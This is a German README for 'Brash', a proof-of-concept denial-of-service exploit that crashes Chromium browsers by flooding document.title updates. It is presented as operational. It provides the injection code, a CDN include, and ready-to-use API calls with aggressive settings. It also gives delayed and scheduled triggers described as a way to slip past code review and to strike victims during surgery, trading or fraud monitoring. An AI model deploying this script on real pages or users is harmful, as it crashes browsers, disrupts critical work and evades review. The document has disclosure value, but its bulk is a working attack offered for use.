
Chromium Browser DoS-Angriff durch Ausnutzung von document.title

Brash ist eine kritische Schwachstelle in Blink, der Rendering-Engine, die Google Chromium-basierte Browser antreibt. Sie ermöglicht es, jeden Chromium-Browser innerhalb von 15-60 Sekunden zum Absturz zu bringen, indem ein Architekturfehler in der Verwaltung bestimmter DOM-Operationen ausgenutzt wird.
Der Angriffsvektor resultiert aus dem völligen Fehlen einer Ratenbegrenzung für document.title-API-Updates. Dadurch können Millionen von DOM-Mutationen pro Sekunde injiziert werden, was den Hauptthread sättigt, die Ereignisschleife stört und zum Zusammenbruch der Benutzeroberfläche führt. Die Auswirkungen sind erheblich: hohe CPU-Auslastung, Verschlechterung der Gesamtsystemleistung und mögliche Blockierung oder Verlangsamung anderer gleichzeitig laufender Prozesse. Da Chromium-Browser auf Desktop, Android und in eingebetteten Umgebungen betroffen sind, setzt diese Schwachstelle über 3 Milliarden Menschen im Internet einem Denial-of-Service auf Systemebene aus.
STATUS: Betriebsbereit
BETROFFENE VERSIONEN: Chromium ≤ 143.0.7483.0 (getestet: 138.0.7204.251, 141.0.7390.108, 143.0.7483.0)
[!NOTE] Der Exploit ist derzeit betriebsbereit. Sobald die Schwachstelle behoben ist, wird dieser Code nicht mehr funktionieren. Unabhängig davon war es eine unglaublich lohnende Reise, diesen Architekturfehler zu entdecken und den gesamten Forschungs-, Dokumentations- und Designprozess abzuschließen, um etwas Wirkungsvolles mit der Welt zu teilen.
11 große Browser wurden auf macOS, Windows und Linux getestet, um die Auswirkungen der Schwachstelle zu validieren.
Alle Chromium-basierten Browser sind anfällig, da der Fehler im Kern der Blink-Rendering-Engine liegt:
Brash nutzt einen grundlegenden Architekturfehler in der Blink-Rendering-Engine aus: das Fehlen einer Drosselung von document.title-Updates. Der Angriff läuft in drei kritischen Phasen ab:
Erzeugt 100 eindeutige hexadezimale Zeichenfolgen mit 512 Zeichen und speichert sie im Speicher, bevor der Angriff beginnt.
Warum werden sie vorab geladen und nicht in Echtzeit generiert?
Weil das ständige Generieren neuer Zeichenfolgen CPU-Zeit für mathematische Operationen verbraucht. Diese Zeit ist entscheidend – jede Millisekunde, die für das Generieren von Zeichenfolgen aufgewendet wird, ist Zeit, die NICHT dafür genutzt wird, den Browser mit document.title-Updates zu bombardieren.
Durch 100 bereits im Speicher geladene Zeichenfolgen:
Das Ergebnis ist eine maximale Injektionsgeschwindigkeit bei maximalem Speicherverbrauch pro Update.
// Generiert hochgradig entropische eindeutige IDs
gid: function() {
let id = "";
for (let i = 0x0; i < 0x200; i++) {
id += ((Math.random() * 0x10) | 0x0).toString(0x10);
}
return id;
}
Führt konfigurierbare Schübe von Titelaktualisierungen aus. Mit der Standardkonfiguration (Burst: 8000, Intervall: 1 ms) wird versucht, etwa 24 Millionen Aktualisierungen pro Sekunde zu injizieren, und während dieses Versuchs beginnt der Browser zusammenzubrechen.
// Dreifach-Aktualisierungsmuster: Maximiert das Thrashing der Rendering-Pipeline
inject: function() {
const t = this.titles[Math.random() * this.titles.length | 0x0];
for (let i = 0x0; i < 0x3; i++) {
document.title = t + i; // Jeder Burst führt 3 sequentielle Updates durch
}
this.counter += 0x3;
}
Kontinuierliche Updates sättigen den Hauptthread des Browsers und verhindern die Verarbeitung anderer Ereignisse:
Zeitstrahl des Zusammenbruchs:
Warum funktioniert es?
Blink verarbeitet jede document.title-Änderung synchron auf dem Hauptthread ohne Ratenbegrenzung. Dies erzeugt einen Engpass, der:
Um die Auswirkungen von Brash vollständig zu verstehen, können Sie den Exploit in verschiedenen Kontexten erleben – von einer kontrollierten Live-Demo bis hin zu Ihrer eigenen Implementierung. Jede Option ist für unterschiedliche Interaktions- und Verständnisebenen konzipiert.
Der schnellste Weg, Brash in Aktion zu sehen. Besuchen Sie https://brash.run
Um den Exploit ohne grafische Oberfläche zu sehen, besuchen Sie https://brash.run/hidden-live-demo.html. Diese Version führt die Injektion unsichtbar aus und simuliert einen echten Angriff.
Wenn Sie die Demo lieber in Ihrer eigenen Umgebung ausführen möchten, ermöglicht Ihnen das Verzeichnis exploit-demo/ im Repository Folgendes:
Öffnen Sie einfach exploit-demo/index.html in einem beliebigen Chromium-Browser und konfigurieren Sie die Werte für burst und interval, bevor Sie beginnen.
Um Brash in Ihre eigenen Sicherheitstests oder Forschungen zu integrieren, binden Sie das Skript ein und konfigurieren Sie den Angriff:
Skript einbinden:
<!-- Lokal -->
<script src="brash.js"></script>
<!-- CDN -->
<script src="https://cdn.jsdelivr.net/gh/jofpin/brash/brash.js"></script>
API-Nutzung:
// 1. Sofortiger Angriff
Brash.run({
burstSize: 8000,
interval: 1
});
// 2. Verzögerung in Sekunden (Standard)
Brash.run({
burstSize: 8000,
interval: 1,
delay: 30 // 30 Sekunden
});
// 3. Verzögerung mit Zeichenfolgen
Brash.run({
burstSize: 8000,
interval: 1,
delay: "30s" // oder "5000ms" oder "3m"
});
// 4. Zeitgesteuerter Angriff
Brash.run({
burstSize: 8000,
interval: 1,
scheduled: "2025-10-18T09:30:00"
});
Intensitätskonfigurationen:
// Moderat: kontrollierte Beobachtung
// Effekt: Browser reagiert langsam und ermöglicht die Beobachtung der allmählichen Verschlechterung
Brash.run({
burstSize: 200,
interval: 1000 // ~600 Updates/Sek.
});
// Aggressiv: schnelle Sättigung
// Effekt: Tabs frieren in 10-20 Sekunden ein
Brash.run({
burstSize: 2000,
interval: 100 // ~60.000 Updates/Sek.
});
// Extrem: sofortiger Zusammenbruch
// Effekt: Sofortiges Einfrieren, Totalabsturz in 15-30 Sekunden
Brash.run({
burstSize: 8000,
interval: 1 // Versucht ~24 Mio. Updates/Sek. (Browser bricht während des Versuchs zusammen)
});
Hinweis: Jeder Burst führt 3 aufeinanderfolgende
document.title-Updates aus. Beispiel: burstSize: 400 = 1.200 tatsächliche Updates pro Intervall.
Brash kann in mehreren kritischen Kontexten als Waffe eingesetzt werden, mit Folgen, die von wirtschaftlichen Verlusten bis hin zu Lebensgefahr reichen.
Eine kritische Funktion, die die Gefährlichkeit von Brash verstärkt, ist die Fähigkeit, für die Ausführung zu bestimmten Zeitpunkten programmiert zu werden. Ein Angreifer kann den Code mit einem zeitlichen Auslöser injizieren, der inaktiv bleibt, bis eine vorgegebene genaue Zeit erreicht ist.
Technische Implementierung:
// Verzögerung in Sekunden (Standard)
Brash.run({ burstSize: 8000, interval: 1, delay: 30 });
// Verzögerung mit Zeichenfolgen (ms, s, m)
Brash.run({ burstSize: 8000, interval: 1, delay: "30s" });
Brash.run({ burstSize: 8000, interval: 1, delay: "5000ms" });
// Zeitgesteuert: wird zum genauen Zeitpunkt ausgeführt
Brash.run({ burstSize: 8000, interval: 1, scheduled: "2025-10-18T09:30:00" });
Parameter:
burstSize: Updates pro Zyklusinterval: Millisekunden zwischen den Zyklendelay: Zahl (Sekunden) oder Zeichenfolge ("30s", "5000ms", "3m")scheduled: ISO-Zeichenfolge oder Date-ObjektWarum der Parameter delay besonders tödlich ist:
Erfordert nicht zu wissen, wann sie den Link öffnen: Wartet einfach X Sekunden ab dem Zeitpunkt, an dem das Opfer die Seite öffnet.
Zeit, Vertrauen aufzubauen: Während der Warteminuten interagiert das Opfer mit scheinbar legitimen Inhalten (Formulare, Dokumente, Videos).
Umgeht die erste Überprüfung: Wenn jemand den Code kurz überprüft, erscheint er inaktiv. Der Angriff wird erst später ausgeführt.
Perfektes psychologisches Timing: Wartet, bis das Opfer tief in die Aufgabe eingebunden ist (mitten in einer Prüfung, mitten in einer Besprechung, während eines kritischen Verfahrens).
Typisches Szenario mit delay:
00:00 - Opfer öffnet Link "Q4-Berichte.pdf"
00:30 - Opfer prüft Dokumente, scheint legitim
02:00 - Opfer teilt Bildschirm in Besprechung mit 50 Personen
03:00 - ANGRIFF WIRD AUSGEFÜHRT - alle Browser stürzen ab
Warum der Parameter scheduled ebenfalls verheerend ist:
Chirurgische Synchronisation: Der Angreifer wählt den genauen Zeitpunkt der maximalen Wirkung (Markteröffnung, Spitzenbetriebszeit).
Globale koordinierte Angriffe: Mehrere Ziele können gleichzeitig in derselben Sekunde getroffen werden.
Umgeht vorherige Erkennung: Der bösartige Code kann Tage oder Wochen vorher vorhanden sein, ohne ausgeführt zu werden, und Sicherheitsüberprüfungen bestehen.
Unmöglich zu stoppen: Wenn der Angriff ausgeführt wird, ist es zu spät, ihn zu verhindern.
Strategische Timingbeispiele:
Diese kinetische Timing-Fähigkeit verwandelt Brash von einem Störungswerkzeug in eine zeitliche Präzisionswaffe, bei der der Angreifer nicht nur das „Was“ und „Wo“, sondern auch das „Wann“ mit Millisekundengenauigkeit kontrolliert.
Szenario: Unternehmen, die für Web Scraping, Marktanalyse, Konkurrenzbeobachtung oder Kundenbetreuungsautomatisierung auf KI-Agenten angewiesen sind, verwenden kopflose Browser (Chromium/Puppeteer), um täglich Tausende von Websites abzufragen. Ein Angreifer injiziert Brash in beliebte Seiten, die diese Agenten abfragen.
Während kritischer automatisierter Operationen:
Verstärkte Angriffsvektoren:
Reale Auswirkungen: Lähmung kritischer automatisierter Abläufe, wirtschaftliche Verluste durch nicht getroffene Entscheidungen, massive Verschlechterung KI-abhängiger Dienste, Kosten für die Wiederherstellung der Infrastruktur, Offenlegung der kritischen Abhängigkeit von automatisierten Agenten.
Szenario: Ein Herz-Kreislauf-Chirurg führt eine Bypass-Operation durch, unterstützt von einem webbasierten chirurgischen Navigationssystem (zunehmend verbreitet bei minimalinvasiven Eingriffen). Das System liefert Echtzeitbilder, Vitalparameter des Patienten und Anleitungen für Roboterinstrumente.
Während der kritischsten Phase der Operation erscheint eine Browserbenachrichtigung: „ALARM: Kritisches Systemupdate für die Operation – jetzt anwenden, sonst kann die Operation fehlschlagen.“
Beim panischen Klicken:
Reale Auswirkungen: Direktes Todesrisiko für den Patienten, mögliche bleibende Schäden, psychologisches Trauma für das medizinische Team, Millionenschadenersatzklagen wegen technologischer Fahrlässigkeit.
Szenario: Während der Wall-Street-Markteröffnung injiziert ein böswilliger Akteur Brash gleichzeitig in mehrere Kanäle: Bloomberg-Terminal-Weboberfläche, institutionellen Trader-Chat und spezialisierte Foren. Der Link verspricht „Leak: Transkript der Fed-Notfallbesprechung – Zinssenkung bestätigt.“
In den ersten 30 Sekunden des Handels (maximale Liquidität):
Reale Auswirkungen: Billionen Dollar an Marktkapitalisierungsverlusten, globale Finanzpanik, SEC-Untersuchungen, mögliche Vertrauenskrise in den Märkten.
Szenario: Betrugsanalysten einer Bank verarbeiten verdächtige Transaktionswarnungen in Echtzeit über ein Web-Dashboard. Während des Black Friday (Transaktionsspitze) erhalten sie Brash per Firmen-E-Mail: „Neues Betrugsmuster entdeckt – dringende Analyse erforderlich.“
Zum Zeitpunkt des höchsten Transaktionsvolumens:
Reale Auswirkungen: Millionenverluste direkt, Tausende Kunden mit betrügerischen Belastungen, massiver Reputationsschaden, regulatorische Strafen für Ausfälle des Präventionssystems.
Diese Szenarien sind nicht theoretisch. Die Einfachheit von Brash macht es zu einer echten Bedrohung für jeden Betrieb, der auf Webbrowser angewiesen ist – und das ist im Jahr 2025 praktisch alles.
Die Entwicklung von Brash ist ein Versuch zu zeigen, was passiert, wenn grundlegende Schutzmaßnahmen in den Webtechnologien fehlen, die wir täglich nutzen. Die Schwachstelle liegt nicht in komplexem Code oder fortschrittlichen Techniken, sondern im grundlegenden Fehlen einer Ratenbegrenzung für eine API, die von Natur aus gedrosselt werden sollte.
Die Auswirkungen von Brash auf über 3 Milliarden Chromium-Browser-Nutzer zeigen, dass Architekturfehler in Kernkomponenten wie Blink massive und globale Konsequenzen haben. Dies ist kein isolierter Fehler – es ist ein Designfehler, der das gesamte Chromium-Ökosystem betrifft.
Oft verbergen sich die gefährlichsten Dinge an dem Ort, der am wenigsten erwartet wird, dem am meisten ignorierten. - Jose Pino
Dieser PoC dient ausschließlich zu Bildungs- und Sicherheitsforschungszwecken, um das Internet sicherer zu machen. Er sollte ausschließlich in kontrollierten Umgebungen ausgeführt werden und darf nicht auf Produktionssystemen, öffentlichen Websites oder Geräten mit wichtigen Daten verwendet werden.
Missbrauch dieses Exploits kann zu Browserabstürzen, Datenverlust und Systeminstabilität führen. Der Autor übernimmt keine Haftung für Schäden, Datenverlust oder rechtliche Konsequenzen, die aus der Verwendung oder dem Missbrauch dieses PoC entstehen. Durch die Nutzung von Brash erkennen Sie diese Risiken an und stimmen zu, ihn nur für legitime Sicherheitsforschung in isolierten Umgebungen zu verwenden.
Von den Benutzern wird erwartet, dass sie alle geltenden Gesetze und Vorschriften einhalten. Die unbefugte Nutzung dieses Exploits gegen Systeme, die Sie nicht besitzen oder für deren Test Sie keine ausdrückliche Erlaubnis haben, ist illegal und unethisch.
Der Inhalt dieses Projekts selbst ist unter der Creative Commons Attribution 3.0-Lizenz lizenziert, und der zugrunde liegende Quellcode, der zur Formatierung und Anzeige dieses Inhalts verwendet wird, ist unter der MIT-Lizenz lizenziert.
Copyright (c) 2025 von Jose Pino